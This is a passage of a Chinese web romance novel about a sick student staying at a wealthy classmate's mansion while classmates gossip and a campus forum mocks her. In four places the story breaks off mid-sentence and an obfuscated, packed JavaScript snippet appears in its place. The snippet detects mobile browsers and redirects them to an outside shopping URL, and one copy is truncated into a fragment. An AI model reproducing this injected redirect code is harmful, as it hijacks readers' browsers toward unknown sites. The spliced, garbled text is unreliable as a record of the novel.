她叼住他深蓝色的衣领,咬紧,像是在适应,又像是在泄愤,肖序略微低头,摸了摸她的脸颊。 “好玩吗。” “唔……不,不好玩。” 但她依旧没有松口。 肖序思索了一瞬,调整位置,想让她能咬得更轻松一些。 薛年年却只感觉到周围的压迫感越来越深重。 她被锁在他的身前,几乎不能呼吸。 “你,轻一点……“ 她模糊地喘了一声,想让身前的人放松一点力气。 然而他似乎并没有听见。 在几近窒息的拥抱里,薛年年迷迷糊糊地闭上眼。 虽然感觉到了禁锢,但狭小又黑暗的空间也让她感觉到安全——就像她以前睡着的环境一样。 薛年年再次陷入睡梦中,这一次,不同于之前,她睡得很安稳。 第二天,清晨。 肖序该起床的时候,薛年年还睡得很沉。 今天是周五,早上有建模课。 管家如常在固定的六点出现在卧室门外。 他推开门,想侍候自家少爷起床,却极为罕见地看到他还躺在床上,胸前还挂了个不想起的人。 “少爷,这——” “没事。” 肖序说没事,床边的管家却差点倒吸一口凉气。 挂在他身上的人似乎是察觉到周围有陌生事物存在,紧张地往他怀里躲,但就是没醒。 “不起嘛……”她一边缩一边小声嘟囔。 肖序轻轻拍了拍她的后背,缓声问:“想和我多待一会吗?” 薛年年不知道睡在她旁边的这个人为什么要起这么早……闹钟不是还没响吗? 就算有早课也没有必要吧。 她模模糊糊地应了一声,想让他留下来。 管家听到她格外任性的回答,目不斜视,不敢发出任何声音,眼皮却狂跳。 肖序圈着她的腰,安静地思索了一会。 过了五秒,他最终还是半撑起身体,将挂在他身上睡得昏沉的薛年年放回到床垫上,说: “早上不行。” 日程不能更改。 但他又冷声问:“周末,想跟我去伦敦吗?” “嗯?”薛年年没听清。 “英国,去吗。” “……我?”薛年年因为他过于冷淡又过近的嗓音清醒了一点点。 她半睁开眼,“我……不能去……的吧,什么护照,东西?都……没。” “有外交礼遇。” 肖序面无表情地又在说些她听不懂的话。 薛年年侧躺着,茫然地眨了一下眼。 望着头顶还穿着睡衣的人,薛年年的大脑还没完全恢复意识。 她刚想出声问,肖序却不再等她说话,也不听她的回答,直接离开了卧室。 ……他怎么又变得怪怪的了? 薛年年脑袋昏沉,在床边的两个人离开的瞬间,她又闭上了眼。 “砰。” 房门紧闭。 等候在门外的其他侍从立刻上前,为肖序披上外套。 管家想起刚才床上的薛年年面色苍白,身体大概率还很虚弱,没有痊愈。 本想问是否需要直接把医生和薛小姐打包,加进名单里,以免去英国的飞机上她再次发烧,耽误大少爷的行程,却听到肖序说: “去给她请假。” “少爷,一会不用安排薛小姐和您一起去学校吗?”管家有些惊讶。 在他看来,薛年年目前的职责就是时刻陪同在肖序身边——她刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054188|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖床的行为已经很出格了。 肖序本人却丝毫没有这个想法,只皱了一下眉说:“不必,九点再让医生来。” “让她多睡两个半小时,八点四十五分把她叫醒。” 管家听到他的吩咐,手一抖,因为这些话心脏开始狂跳。 他强行按耐下惊讶和疑惑,把之后的一切都先安排好。 肖序穿衣,吃早饭,处理事务,去学校。 在他如往常般,踩点进入建模课教室的瞬间。 “叮铃铃——” 上课铃声响起。 坐在教室后方的李娅宁听见铃声,立刻抓住一旁柳思睿的衣领开始晃晃晃,生气地骂道:“上课了,现在你满意了吧!!“ “肖序都来了,薛年年还没来,要是她之后退课了,我和你没完!!!” 柳思睿被她晃得眼冒金星:“喂!你怎么就能确定薛年年是因为我才退课的,不能是因为肖序这个疯子太难伺候吗?” “你说我为什么能确定?你说啊!敢做不敢当吗??”李娅宁继续骂他。 柳思睿梗着脖子:“我怎么不敢当了?昨天晚上我还到处找人问,主动去加了薛年年的好友呢……” “你说什么???” 李娅宁听到更气了,“我真服了你!你又跑去跟她说了些什么,别再添乱了行不行?” “这怎么能叫添乱?” 柳思睿不解:“她都直接把我的【好友申请】拒绝了,我昨晚一句话都没和她说上。” “……拒绝了你的申请?” 看来薛年年的心是真被这个傻子给伤到了啊! 李娅宁心里猛地一沉,顿感事情的发展很不妙,却听到一旁的柳思睿分析说: “她那种阴暗的跟踪狂变态,怎么可能轻易放弃我!” “昨天吵架,今天就不来上课,薛年年肯定是想借此故意引起我的注意!” 李娅宁:“???” 柳思睿继续分析,“再说了,我昨天又没有直接拒绝她,只是说她靠跟踪来追人这件事行不通而已。” “等等,你别告诉我——” 听柳思睿刚刚回忆时逐渐放软的语气,李娅宁瞪大了眼睛,觉得这发展越来越不对劲。 柳思睿的耳根变得有点红:“告诉你什么?告诉你我忽然觉得她……好像有点可爱吗?” 薛年年昨天跳起来拿礼盒砸他头的样子,真的有点可爱…… 执着又坦率。 虽然她人长得有点阴森奇怪,但除了肖序那种假惺惺的伪人生物外,是个人类就会有缺点。 柳思睿觉得这点小问题是可以容忍的。 “其实昨晚我就在想,要不要直接跟薛年年说这件事,不过她把我的好友申请拒绝了——” “我觉得她在打心理战!” 柳思睿手一握,信心十足地确定道。 既然是攻防心理战,那现在就该轮到他来主动一点了! “你说我要是之后带上礼物去找她,她会不会一高兴,就再跟我告白一次?” “等她再说一遍喜欢我,我就可以答应她了。” 32. 第一次报答 “心理战??你在军营里训傻了吧!!!” 李娅宁觉得他的脑回路真是清奇得令人难以置信。 故意把人叫出去数落了一通,现在竟然又觉得人家薛年年还不错,准备接受她了? “那你之前看见她就烦是什么意思?”李娅宁震惊了。 柳思睿假咳了一声,掩饰道:“我就不能矜持一下吗,让她知道我不是那么好上手的!” 李娅宁:“???” 就你这副满脸通红的纯情样,还要学别人玩心机啊? 这不是自讨苦吃吗? 李娅宁完全不能理解他这种没事找事的行为,啧了一声: “……我劝你最好还是先去给她道歉,对,带上你说的礼物。” “你也觉得我应该带着礼物去看望她是吧!”柳思睿只听见了后面一句, “昨天我去找她室友问她的联系方式,她室友本来还不想告诉我,后来才吞吞吐吐地说薛年年去外面的医院治病了。” “等等?你是说薛年年昨天生着病,还被你拉出去臭骂了一通,你是不是人啊柳三分钟!”李娅宁怒了。 “小病,说只是感冒。” 柳思睿不觉得有任何问题:“而且我又没说错,她之前是每天正事不干,就只知道追着我跑啊,我那是在劝她上进!” “你看现在,她为了引起我的注意力,连课都不来上。” 柳思睿分析道,“肖序最讨厌的就是不守规则的人。” “你说她多笨,昨天我看她和肖序相处得还算是和平,今天她就故意去踩他的雷点,以后她想再回来上课都难了!” “不过也没事,她喜欢我,我现在……好像也有点喜欢她,她也不用靠和我上同一堂课来追我了。” 柳思睿的耳朵又变得有点红。 这卷王白痴真是说不通。 李娅宁力竭了:“先去道歉吧你,哎……过两天我办生日会,你记得来,最好在那之前就把道歉这个事解决了。” “反正我是会邀请薛年年的,如果你在那之前没跟她道歉,就别来了!来了我也把你赶出去!” “……你怎么又要过生日了?”柳思睿其实也不怎么想去。 “话说你那个眼睛长在天上的黄毛弟弟呢,他也去吗?” “当然,全家都盯着我和这个混世魔王上演‘姐友弟恭’呢,我能不叫他?” “他来不会又把你的生日会搞得一团乱吗?” “有什么办法,反正你们也都知道他是个什么德行——哦,薛年年不知道,到时候提醒她离我弟远一点。” “我去跟她说吧。”柳思睿自告奋勇,有些期待道,“还要带上礼物去医院看望她呢。” “啧……你之前烦薛年年,现在竟然又喜欢上她了,我总觉得你这样下去迟早是会后悔的。” “后悔什么?” “我怎么知道,直觉。”李娅宁懒得理他了。 就在他们小声交谈间,教室里的其他人也早就注意到肖序旁边没有人,悄悄在【校园论坛】上开贴了—— 【上次竞猜的人呢,都出来!校草的队友果然不到半个月就退课了!!】 “如题,我说什么来着! 还有人猜那个女的能坚持两个月呢,看吧!今天她就不来上课了!!” “楼主消息太落后了吧……” “就是啊,看了昨天的热帖,是个人都知道她今天必不来上课” “啥?为什么???热帖又是什么东西?” “你太亏了,没赶上昨天首页全在大吵架的盛况!” “管理员看那几个帖子里吵得太凶就都给删了,还封了好多个号” “我的大号就被封了……哭” “我也是!但是就算我死了,钉在棺材里,我也要用腐朽的声音呐喊道——4i就是最牛的!阴湿女鬼x纯情壮汉!都给我磕!!!” “磕个屁,你看谁理你吗?说不定那个女的都已经被学校处分退学了” “就该退学,谁叫她打人的!” “那个叫柳思睿的现在肯定恨死她了吧哈哈哈,送壮阳药告白已经很扯了,竟然还被一个女生摁在地上捶,这丢脸真是丢大发了!” “我要是柳哥肯定也烦她,真是阴魂不散,丑人多作怪!” “那个女的长得真有那么难看吗?你们总骂人家丑不太好吧……” “说她丑都是抬举她了,她那叫恐怖,光用长相就能把人吓跑!” “人品还很差,还是个跟踪狂变态” “这种人竟然都能考上我们学校吗?看来真是学历越低神人越多,学历越高神人越神” “得到提纯的神人真是一节更比六节强” “得到提纯的颜值也是!看,我老婆!!好看吧!【图片】【图片】” “楼上别发颠,我在好几个帖子里都看到你到处说我老婆是你老婆了” “你俩这不是颠到一块去了吗……” “区区人类,竟敢直呼女神为老婆!该死!” “卧槽,好漂亮的大美女,眼角那颗红色的痣长得好有特点,是我们学校的?” “好像是隔壁的,前些天来串门了一次,被偷拍了” “怪不得只有两张糊照,哎……美女就是好啊,故意歪楼都没人跳出来骂” “骂什么!所有人都该来瞻仰神的美貌!!” “还是别歪了吧,你们不觉得那个阴森森的女的——是不是叫薛年年?她磁场都不太对吗?别把女神带进这种戾气重的话题里” “女神善良得连落到地上的蝉都要捡起来放回树上,这对比,啧啧啧,人和人的差距怎么能这么大!” “别说了,小心被那个丑人看到帖子惦记上,之后去报复女神” “哎呦喂——听起来还真是那个变态能干出来的事!“ “啊啊啊啊啊可能很大啊,太恐怖了!” “穷山恶水养刁民,小地方考出来的整天不好好学习,到处害人,还专挑家境好的男生钓凯子,学校都不管的吗???” “这么看来……那个叫薛年年的退课还是好事咯?至少不会祸害到肖序了” “她就算不退也祸害不到啊,校草那是什么阶层的人,能搭理她吗?” “肖序什么阶层?” “用不了两年你就能看到他和各国元首谈笑风生了” “救命sos,以后只能在新闻上看到校草大人的神颜了吗?” “哈哈想啥呢?新闻上也看不到,他家从都铎王朝富到现在,一直都是在幕后搞事” “所以肖序为什么会在国内上学啊?他不该一直待在英国吗!” “谁知道……而且也没人知道他为什么会是混血,他家里的事一直都神秘得很” “不管怎么样,谢天谢地那个女的滚了!和她在同一个教室里上课,我感觉空气都被她给污染了!!” “嘿,你别说!可能柳思睿和肖序也是这么想的” “哈哈哈,终于摆脱那个神人了是吧?” “哎——别聊了!你们看到没有?前面!前面校草大人竟然在看手机,他不是从来不在课上玩手机吗?” “玩?你以为谁都跟你一样喜欢上课刷论坛” “可能肖序有什么重要的事要及时处理吧……” …… 肖序关闭手机上的验血报告,转到联络软件,给薛年年发送道: 【吃早饭了吗?】 【》》还没……】 薛年年才刚洗漱完。 她之前还睡在他床上的时候,被医生抽了好几管空腹血,现在走路小腿都打颤。 【记得吃。】肖序嘱咐道。 薛年年摸了摸头发,有点不好意思地说:【》》上大学后我经常把早饭时间睡过去……都已经没有吃早饭的习惯了】 肖序不管她有没有习惯:【报告显示你中度贫血。】 【让管家带你去,现在你需要营养。】 【》》哦……好吧】 不检查都不知道自己身上有毛病。 薛年年晕乎乎地跟着早就等候在旁边的管家一起,到达了就餐区。 【》》已经吃上啦[图片]】 【》》这个粥好好喝哦……你家厨师真厉害!】薛年年一边吃早饭一边给肖序发消息。 【嗯。】 受凉了的肠胃不适宜吃其他东西,肖序就只让厨房准备了一些流食。 薛年年把桌上温度适中的热粥喝下去,感觉到胃里得到了安慰。 她晃了晃脑袋,吃过饭后,她觉得脑子也不再那么昏沉了。 薛年年清醒了一些。 昨天她晕着被肖序带回他家,都没来得及好好观察,今天一到就餐厅,薛年年才发现他家里有好大一个落地窗。 【》》等等,你家竟然离故宫这么近吗?窗外都能看到哎……】 薛年年看到外面的景色震惊了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061992|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【这里方便。】 【》》当然会方便啊!地理位置这么好】薛年年觉得他好像在说废话。 不过对于有钱人来说,可能“方便”就是最重要的考虑因素吧? 肖序在A市应该不止一套房子,不然他都没地方养猫和直播了! 薛年年没忍住叹了口气,觉得肖序也挺不容易。 唉,家境太好竟然也是种负担…… 想在网上擦个边都必须背着家里人,偷偷摸摸地擦,真艰难。 脱离了高级趣味的人是这样的——但她绝对不会笑话他! 肖序是个大好人啊!! 虽然爱好有点奇怪,薛年年却很能理解他的感受。 这么大的房子只有他一个人住,其他像管家啊,厨师这些工作人员,他们的态度有点过于恭敬了……薛年年也很不适应。 就凭肖序昨晚非不放她回客房的那个态度。 薛年年就知道这家伙大概率是早就憋慌了,一个人在家里寂寞得要死。 他之前在网上和她聊天时,也总是莫名让她觉得,他好像很孤独…… 现在有小朋友来家里找他玩,他应该也可高兴了吧? 薛年年决定要当一个称职的客人:【》》那个……谢谢你这两天的招待,很感谢!】 招待? 肖序察觉到她用词很生疏:【你觉得自己是客人?】 【》》……啊?我不应该是吗】 【昨天的事还记得多少。】肖序直接问。 薛年年认真想了想,回答道:【》》白天的记得一点点,晚上睡前的基本全都记得!】 【》》昨天要是你不把我带回去看病,可能我就晕在回宿舍的路上了】 【》》放心吧!我不会忘记你的恩情的,以后我一定会报答你!】 肖序:“……” 她还是晕着黏黏糊糊要他抱的时候,比较可爱。 【所以晚上睡着之后的事也都忘了。】 【》》那倒没有!】薛年年诚实道。 虽然她睡得确实不怎么清醒,但肖序伟岸的胸膛实在太有存在感,她当然不可能什么都没感觉到! 真的很软……很大…… 触感很好。 不过鉴于“肖序”之前在网上太骚哄哄,现在线下他对她做什么,薛年年都觉得还算正常。 至少他昨晚没直接让她去骑他对吧? 要尊重个人爱好……还是要好好报答他! 不知道肖序喜不喜欢她家乡的特产,薛年年思考着需不需要给他寄点姥姥过年晒的香肠。 或者买点答谢的礼物? 她打开账户,准备看看月底自己的生活费还够不够,却忽然发现她银行账户里面的数额大得有点不正常! 【》》哎?我账户里怎么有这么多钱!】薛年年傻了! 【很多吗。】 【》》有点太多了!我可能一辈子也花不完吧?】薛年年忽然反应过来,【》》等等,这是你给我的?】 【嗯。】 【》》为什么啊??】 【你昨天拉住我说了两次,月底没钱了。】 【》》啊???】她竟然做了这么不客气的事吗! 薛年年完全不记得她还做了往他胸口塞钞票这种更不客气的事。 她吓得赶紧想把钱给肖序转回去,却立刻收到了银行不允许她进行“大额转账”的通知。 【》》什么啊……我第一次知道转账竟然还有上限】 【你想把钱还给我?】 【》》当然,把我卖了都不值这么多钱吧!!】 【……】 还是值的。 肖序缓缓打字道:【拿着,然后报答我。】 这种事就算没钱她也会做的啊! 薛年年本想说不需要,但她忽然又回忆起,昨晚“肖序”在网上和她闹了矛盾。 之前他告诉她,擦边是因为“想赚快钱”,这明显是谎言。 肖序看起来一点也不在乎钱。 那他还需要什么呢? 擦边……直播是为了爱好,梦想? 薛年年思索了几秒,忽然恍然大悟,一个人直播除了为钱,那肯定就只剩为名了嘛,“肖序”需要认可! 每天在网上夸他“擦得好,擦得妙”,真不如切切实实的打赏来得直接! 薛年年觉得她真是个小天才。 她知道该怎么报答肖序了!! 33. 第一次偷情 她知道该怎么报答肖序了!! 薛年年认真保证道:【》》没问题,肯定会好好报答你的!】 【嗯。】 她似乎对这件事很有兴致。 肖序并不理解这种情绪,但此刻正确的回复应该是: 【我很期待。】 好!一定让你满意。 薛年年本想退出聊天界面,去问问卢剑,运营那边知不知道“肖序”近期的直播日程。 然而一打开日历表,薛年年却忽然看到,今天竟然是周五! 她这几天病得日夜颠倒,都没意识今早有建模课,直接把课程给睡过去了: 【》》哎!早上怎么有课啊】 【》》我应该提前定过闹钟吧,你有注意到吗?】 【有。】 肖序很快回复。 薛年年震惊了,不对啊!她在陌生的地方睡,难道不会很早就自然醒来吗? 她疑惑地放下手中的粥勺,小声问旁边的管家:“那,那个,我想问您一个问题。” “请问今早……肖同学走的时候,我是不是还睡得很熟啊?” 肖同学? 您和大少爷都睡在同一张床上了还只是同学吗? 管家因为薛年年过分生疏的称呼有些惊讶,却也没有多言,只恭敬地回答: “是的,早上大少爷起床的时候,您睡得很沉,还用力抱住了他腰,不想让他走。” 薛年年:“???” 等等,今早她想抱枕头,结果抱住的那个又细又硬邦邦的东西,竟然是肖序的腰吗?! 看来真是睡糊涂把他直接当男朋友了啊! 薛年年立刻又问:“那我这么做,肖同学看起来没有不高兴吧?” 他有没有不高兴,难道您不该比我更清楚吗? 管家也迷惑了:“大少爷的心思……不是我的身份能够揣测的。” 昨天少爷破天荒带这个女孩回了家,晚上不仅和她同寝,今天还特地分出精力,亲自安排了她的起居……他们至少也该是在交往的关系吧? 怎么看起来他们生疏得离朋友都还有段距离?? 虽然清楚自家少爷的特殊情况,但—— 管家依旧觉得这很奇怪。 他想了想,干脆多警告了一句:“如果您真的想知道……据我了解,少爷他不喜欢有人妨碍他的任何决定。” “所以,薛小姐,以后这类出格的行为最好避免。” 管家本意是想委婉提醒她,不要恃宠而骄,以免影响到大少爷的心情,被早早厌弃。 然而薛年年却完全没听出他的言外之意。 在和管家短暂交谈期间,她连和肖序的聊天都不回了。 薛年年还在思索中,搁置在旁边的手机就又多响了好几下: 【》》我应该提前定过闹钟吧,你有注意到吗?】 【有。】 【……】 【怎么不回复我了?】 他就这么一会都等不了吗? 薛年年无奈地摸了摸头发,觉得肖序的本性好像真的有点黏人:【》》别催嘛!】 【》》我刚刚在问管家一些事情,他说我今早在床上一直抱着你腰,不让你走】 【》》脑子里怎么什么画面都模模糊糊的……】 【》》不过只要没影响到你就好!】 莫名地,她自言自语般的话发送过去,对面却忽然沉默了。 过了几秒,他才又回复道:【有影响。】 【》》哎,真的吗???】 【》》对,我想起来了!昨晚我好像还说了很多梦话,有没有吵到你——我都说了些什么啊?】 【让我不要讨厌你。】 【》》……听起来确实是我会说的梦话】 人际交往实在太难了…… 薛年年的太阳穴突突地疼:【》》以前在我老家,大家都很讨厌我,没有一个人愿意靠近我,少数会靠近我的人也总是欺负我】 【……】 【想知道为什么吗。】 肖序调查过她身边从小到大,发生的所有事情。 薛年年看到愣住了:【》》你知道?】 但下一秒,她立刻应激般拒绝:【》》不行,不要告诉我,我害怕】 【》》任何,任何事都不用告诉我,我不想再回忆起他们!!】 【……也好。】 肖序从不做多余的事情。 都欺负她,吗。 他派去调查的人,回来复命的时候说,在她生活的小镇,薛年年的任何照片,都可以当成流通的“货币”来使用。 她哭起来的样子尤其漂亮。 只要能让她掉眼泪,偷拍下的照片能在很多地方,卖出一个普通工薪阶层无法拒绝的价格。 人的欲望是丑恶的。 肖序能清晰地感觉到,他自己并不无辜。 但薛年年不哭,他脑海深处也会莫名地隐隐作痛,肖序不明白为什么。 即便不明白,他也不会允许任何人再来触碰他的所有物。 她不想听,肖序也不想将事情的真相告诉她。 如果她始终不知道,是不是就会一直躲避其他人,只靠近他一个? 屏幕上,薛年年依旧没有察觉到异常,有些沮丧地给他发送道: 【》》有时候我会想,我真的有那么讨人厌吗?】 【》》他们都不喜欢我,柳思睿也看不起我……】 【还在想他?】肖序略微皱眉。 薛年年叹了口气:【》》不可能不想吧,柳思睿昨天骂我骂得那么难听,还说我没教养!】 【》》他太可恶了!真的很过分!!】 【需要我做什么吗。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076045|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 肖序修长的手指搭在桌面上,“嗒”,轻轻敲了一下。 余光往后瞥。 猛然间,坐在后方的柳思睿莫名抖了一下。 “嘶——” 柳思睿忽然觉得身上像要长刺了一样,浑身不对劲,但他又不知道这不对劲之处从何而来。 他左右张望了一番,没发现任何反常的地方。 唯一值得注意的,只有今天肖序竟然没在听课。 他戴了一副银框眼镜,镜片后凛冽的灰蓝色像深不见底的潭水。 无论肖序在哪,他都能轻易吸引到所有人的目光。 柳思睿能察觉到,教室里几乎所有人都在偷看他,却畏惧于他拒人于千里之外的冷漠而不敢明目张胆地关注。 教授还在台上讲课,肖序却一直看着屏幕,微微抬起的下颌体现着他恰到好处的高傲。 他向来这么目中无人—— 屏幕上究竟有什么重要的事? 【需要我做什么吗。】 【》》没什么,就是有件事可能要拜托你……】薛年年想了想,缓缓发送道。 过两天,她病完全好了还想再回去上建模课呢。 柳思睿倒没什么关系,她知道他巴不得离她远远的。 但其他人——薛年年也意识到,肖序实在太引人瞩目了。 【》》如果你不讨厌我的话,现在我们应该算是朋友吧?】 【……】 【或许。】 【》》那我能不能不在其他人面前和你当朋友啊?】 【什么意思。】 肖序忽然察觉到了一点微妙的不对劲。 【》》额……意思就是,你太容易引起别人的注意了】 【》》我有点害怕】 【害怕?】 【》》对,你很好!真的特别好!!我对你没有任何意见】 虽然昨晚肖序简直就是把扔子递到她手上,非要让她摸! 但薛年年觉得她自己再适应一下,就可以坦然接受他那些不太寻常的小癖好了: 【》》但是吧……我很怕其他人因为我和你是朋友,就关注到我】 肖序:“…………” 他好像知道薛年年接下去要说什么了。 薛年年觉得她自己身上像有诅咒一样:【》》我怕他们也讨厌我,会像我老家那些人一样】 【所以要远离我。】肖序皱起眉。 【》》?不是!!不是这个意思】 薛年年才不会拒绝任何一个想和她当朋友的人: 【》》我只是想让你在学校里不要主动和我说话】 【》》也别看我……】 【》》其他时候,如果你很想让我摸摸抱抱,或者让我去你家陪你玩,私下里就可以】 【》》偷偷地,在角落里也行……应该不会有人发现的】 34. 第一次撞破 ……不被人发现? 肖序无法理解:【你在怕什么。】 【》》其实也不完全是害怕啦!躲着就能避免好多麻烦,为什么不呢?】 【我也要躲?】 【》》对,一起!】 肖序:“……” 【》》你想想嘛,都不说其他人,柳思睿就已经够讨厌我了】 李娅宁之前和她说,柳思睿会研究肖序身边的所有人事物。 薛年年现在一点也不想和这个“很有教养”的表哥再扯上任何联系! 【》》反正我不想让柳思睿知道你和我的关系……】 【……】 这是还有留恋? 肖序望着屏幕上规整的方块字,无声地叹了口气。 薛年年昨天黏黏糊糊地主动要他抱,大概率只是在闹脾气。 那时候任何人去安慰她,她都会接受。 藏起来……是还想留有余地,随时能回头? 恋爱脑。 肖序将指尖覆盖在腕骨上,缓慢摩挲起那枚凹陷不平的淡红色咬痕。 除了这个原因,就算她不想让人知道。 在薛年年简单的交际思维里,“朋友”这种关系大概率也是不需要躲藏的—— 她还隐瞒了一些其它事。 他算是她的什么关系,需要被藏起来? 肖序:“…………” 肖序忽然想到了一种不太可能的“可能”,陷入了诡异的沉默中。 过了许久,他才说:【……这就是你的报答?】 【》》没,报答肯定要让你高兴嘛!】 薛年年啪啪打字:【》》刚刚我说的那些,算是在和你……沟通交流,你同意吗?】 【如果我拒绝呢。】 【》》啊……那会有点麻烦,我只能经常躲着你走了】 【……】 【这算威胁?】 当然不是!!! 薛年年不明白他为什么总是这么想! 昨晚她只是抽空去给爸爸打了个电话,没及时回复他,“肖序”就也觉得是威胁! 他究竟是多没安全感啊? 恍惚间仿佛又回到了昨天傍晚,薛年年有点晕了。 她还从来没和“肖序”这种万众瞩目的人交往过,都不知道他们现在算是朋友,营业对象,还是——地下情侣? 反正不管什么都先瞒着吧。 【》》你配合我一下嘛……】 【别撒娇。】 【》》有用就行!可以吗?】 【不。】 他拒绝得相当干脆。 薛年年迷惑了:【》》……你每句话都回复我,但就是不想同意?】 【正确的拒绝流程也是必要的。】 肖序在线下沟通时常常有种严谨又严肃的机械感。 薛年年愣愣地望着屏幕,看到他再次说: 【那种关系,不可能。】 【……】 【时间到了。】 【等我回来再继续听你撒娇。】 消息刚发送,他的头像便霎时灰了下去。 薛年年呆呆地望向挂在墙上的时钟,看到秒针指向整点——学校里应该是刚下课。 这是预留给她的时间已经结束了? 好快!多一秒都不行…… 无论看几次,薛年年都觉得肖序的时间观念简直精确到令人惊叹。 她有些无奈地放下手机,不知道肖序刚刚为什么不同意,明明这样会更省事啊? 早午饭的粥已经喝完。 薛年年一边思考,一边站起身,下意识想把桌上空掉的碗拿去水槽清洗。 等候在一旁的管家却立马把她手中的碗接过说: “薛小姐,让我来就好,您不需要做这种事情。” 他的动作迅速到看起来甚至有些惊恐。 薛年年望着自己空空的手,有些茫然:“……那我还需要做什么呢?” “大少爷这两天有事要外出,他的意思是,您在病情痊愈前最好哪里都不要去。”管家回忆了一瞬,继续解释道, “少运动,多休息——他会再安排医生来为您检查。” 只是个小感冒而已,真的需要检查那么多次吗? 虽然高烧了两天,薛年年却完全不觉得有什么。 她以前发着烧,烧晕了还要通宵写卷子的情况实在太多了。 可她一直拒绝好像也很不礼貌……肖序都安排了。 不用洗碗,不用去学校,在肖序家,连吃饭睡觉都有人照顾——那她还能干什么啊? 薛年年忽然又陷入了一种无所事事的空虚,就像昨天给爸爸打完电话后的状态一样。 昨晚肖序告诉她,“迷茫会导致虚无和自我否定”。 但只有有能力的人……才会陷入迷茫。 她已经上大学了,现在已经不会再有人来告诉她,未来她要做些什么了。 薛年年还是不明白,她自己究竟是为了什么在上大学…… 不明白就先拿到毕业证吧。 薛年年只沮丧了一小会就拍拍自己的脸,强行让自己振作起来。 她找管家拿了纸笔,小跑回客房去,想先补一补今天缺的课。 肖序之前给她发过学习资料,她要尽量赶上进度,千万不能拖他的后腿。 不然他那么注重效率的人,肯定就不会再和她当朋友了……她要证明自己有用! 薛年年回客房学了一会,吃完感冒药后,因为药物的副作用又迷迷糊糊地睡了一段时间。 等到接近傍晚的时候,她还有点晕,躺在床上,手机忽然猛地震动了几下。 薛年年被吵醒了,晕乎乎地拿起手机,看到屏幕上竟然是卢剑给她发的消息—— 【大小姐哎……你和祖宗是吵架了吗?】 【怎么刚谈上就吵啊!】 【我不是说你有问题,肯定是他有问题!!】 【但是鱼崽今天一天都没回我消息,也不说晚上的直播安排,我有点担心,你能帮我去问一句不?】 肖余那臭小子身体好得跟什么似的。 卢剑其实一点都不担心,只是故意在找理由。 他觉得自己真是对别人的恋爱在瞎操心,却看到屏幕另一边,薛年年像是因为他的话立刻急了起来: 【》》啊……他一直没回你工作的消息吗?】 肖序那么严谨的人绝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084860|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能打乱日程。 薛年年有些担忧:【》》是不是出事了?】 【不知道,你去问问吧,不行就给他打视频】 卢剑叹了口气,觉得肖余这狗崽子真该给他磕一个。 薛年年几乎没有多想,马上换到小号给他发道:【》》敲敲,鱼崽在吗?】 对面“正在输入”的标志似乎突然闪了一下,但又马上消失。 薛年年不知道她自己是不是眼花了。 她等了好久,都没有收到回复,疑惑地又发送道: 【》》只是让你白天不要给我发消息而已,现在是晚上了,可以发啦】 “……” 消息发送过去,又等待了许久也没有回复。 难道他真的很生气? 可昨晚肖序的样子,看不太出来在生闷气啊。 她都去探过底了,应该没什么吧? 薛年年就再次放下心,简单发送道:【》》怎么不回我啊……】 她连续发了两三条,对面像是早就忍不住了,反复“正在输入”了几次,最终只回复道: 【不太方便】 【》》不方便?在处理什么重要的事吗】薛年年愣了愣。 【不方便就是不方便】 对方态度极为坚决。 薛年年心中莫名有点怀疑,卢剑说担心他可能出事,他这个态度还真可能遇到什么急事了! 她赶忙关掉摄像头打了个视频过去,被对面瞬间按掉。 薛年年向来很执着,她不放弃地立刻又打了一个。 这一次,不同于上回,对方像是是不小心碰到了才接起。 视频意外打开的时候,一双湿润又泛红的眼睛撞入了她的视野。 薛年年看到这副样子呆住了: 【》》鱼崽你这是……哭了吗?】 屏幕上“肖序”的表情像是丝毫没有准备,他眼角红红的,看起来还有些惊讶和慌乱。 他的声音听起来却很凶:“没有!都说了不方便,你还——” 偏偏是这种时候。 肖余头一撇,想立刻把视频关掉,却听到了一点微弱的女声: “别。” 他顿时愣在原地,动作僵住了,无法再有任何其它反应。 